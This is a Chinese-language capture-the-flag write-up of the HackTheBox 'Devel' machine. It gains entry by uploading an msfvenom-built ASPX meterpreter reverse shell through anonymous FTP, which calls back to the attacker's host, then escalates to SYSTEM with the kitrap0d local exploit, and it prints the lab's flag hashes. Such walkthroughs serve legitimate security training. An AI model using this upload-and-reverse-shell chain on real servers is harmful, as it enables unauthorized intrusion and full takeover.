Hackthebox - Devel
靶场信息
靶场类型
信息搜集
Nmap
┌──(root💀kali)-[~/Desktop/HTB/Easy/Devel]
└─# nmap -sS -A -sC -sV -p- --min-rate 5000 10.10.10.5 130 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2022-03-03 02:16 EST
Nmap scan report for 10.10.10.5
Host is up (0.70s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 01:06AM <DIR> aspnet_client
| 03-17-17 04:37PM 689 iisstart.htm
|_03-17-17 04:37PM 184946 welcome.png
| ftp-syst:
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|specialized
Running (JUST GUESSING): Microsoft Windows 2008|7|Vista|Phone|8.1|2012 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_server_2012:r2
Aggressive OS guesses: Microsoft Windows Server 2008 R2 SP1 or Windows 8 (91%), Microsoft Windows 7 (91%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (91%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%), Microsoft Windows 8.1 Update 1 (90%), Microsoft Windows Phone 7.5 or 8.0 (90%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 R2 or Windows 8.1 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 934.01 ms 10.10.16.1
2 934.05 ms 10.10.10.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.29 seconds
Http
先去看看80端口的web服务
就是一个普通的IIS页面，没什么可看的
FTP
FTP可以看到有两个文件，并且可以匿名登录
┌──(root💀kali)-[~/Desktop/HTB/Easy/Devel]
└─# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
这里看到两个文件，似乎和80端口的是一样的
去本地创建个文件传上去试试
┌──(root💀kali)-[~/Desktop]
└─# echo "I'm Lucifiel" > test.html
┌──(root💀kali)-[~/Desktop]
└─# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put test.html
local: test.html remote: test.html
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
14 bytes sent in 0.00 secs (303.8194 kB/s)
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
03-18-17 01:06AM <DIR> aspnet_client
03-17-17 04:37PM 689 iisstart.htm
03-03-22 09:29AM 14 test.html
03-17-17 04:37PM 184946 welcome.png
226 Transfer complete.
成功传上去了，咱们去访问看看有没有
┌──(root💀kali)-[~/Desktop]
└─# curl http://10.10.10.5/test.html
I'm Lucifiel
OK，传上去了，证明猜想没错，那就简单了，去生成个马传上去吧
漏洞利用
┌──(root💀kali)-[~/Desktop]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.2 LPORT=4444 -f aspx -o shell.aspx
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of aspx file: 2901 bytes
Saved as: shell.aspx
使用msf生成一个aspx的木马
┌──(root💀kali)-[~/Desktop]
└─# ftp 10.10.10.5
Connected to 10.10.10.5.
220 Microsoft FTP Service
Name (10.10.10.5:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
2938 bytes sent in 0.00 secs (58.3728 MB/s)
然后使用ftp传上去
msf6 > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 > use exploit/multi/handler
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.10.16.2
lhost => 10.10.16.2
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.16.2:4444
然后使用msf开启端口监听
┌──(root💀kali)-[~/Desktop/HTB/Easy/Devel]
└─# curl http://10.10.10.5/shell.aspx
然后访问我们上传的aspx马
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 10.10.16.2:4444
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 1 opened (10.10.16.2:4444 -> 10.10.10.5:49162) at 2022-03-03 02:37:15 -0500
meterpreter > getuid
Server username: IIS APPPOOL\Web
meterpreter > sysinfo
Computer : DEVEL
OS : Windows 7 (6.1 Build 7600).
Architecture : x86
System Language : el_GR
Domain : HTB
Logged On Users : 2
Meterpreter : x86/windows
成功拿到shell
权限提升
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > exploit
[*] 10.10.10.5 - Collecting local exploits for x86/windows...
[*] 10.10.10.5 - 38 exploit checks are being tried...
[+] 10.10.10.5 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms15_004_tswbproxy: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.5 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ntusermndragover: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
[+] 10.10.10.5 - exploit/windows/local/tokenmagic: The target appears to be vulnerable.
[*] Post module execution completed
使用post/multi/recon/local_exploit_suggester作为提权辅助脚本
这里测试出来可以使用的提权exp挺多的，我们就拿第一个吧
use exploit/windows/local/ms10_015_kitrap0d
set session 1
set lhost 10.10.16.2
msf6 exploit(windows/local/ms10_015_kitrap0d) > show options
Module options (exploit/windows/local/ms10_015_kitrap0d):
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 1 yes The session to run this module on.
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.16.2 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 2K SP4 - Windows 7 (x86)
设置好以后，执行
msf6 exploit(windows/local/ms10_015_kitrap0d) > exploit
[*] Started reverse TCP handler on 10.10.16.2:4444
[*] Launching notepad to host the exploit...
[+] Process 3972 launched.
[*] Reflectively injecting the exploit DLL into 3972...
[*] Injecting exploit into 3972 ...
[*] Exploit injected. Injecting payload into 3972...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (175174 bytes) to 10.10.10.5
[*] Meterpreter session 2 opened (10.10.16.2:4444 -> 10.10.10.5:49163) at 2022-03-03 02:44:09 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : DEVEL
OS : Windows 7 (6.1 Build 7600).
Architecture : x86
System Language : el_GR
Domain : HTB
Logged On Users : 2
Meterpreter : x86/windows
成功拿到system权限
meterpreter > search -f user.txt
Found 1 result...
c:\Users\babis\Desktop\user.txt (34 bytes)
meterpreter > cat 'c:\Users\babis\Desktop\user.txt'
489b24475e33a86c802d19db5fbd40e1
meterpreter > search -f root.txt
Found 1 result...
c:\Users\Administrator\Desktop\root.txt (34 bytes)
meterpreter > cat 'c:\Users\Administrator\Desktop\root.txt'
af3b66607827cd5c2153fdbfff2a558a
成功拿到user和root权限的flag文件
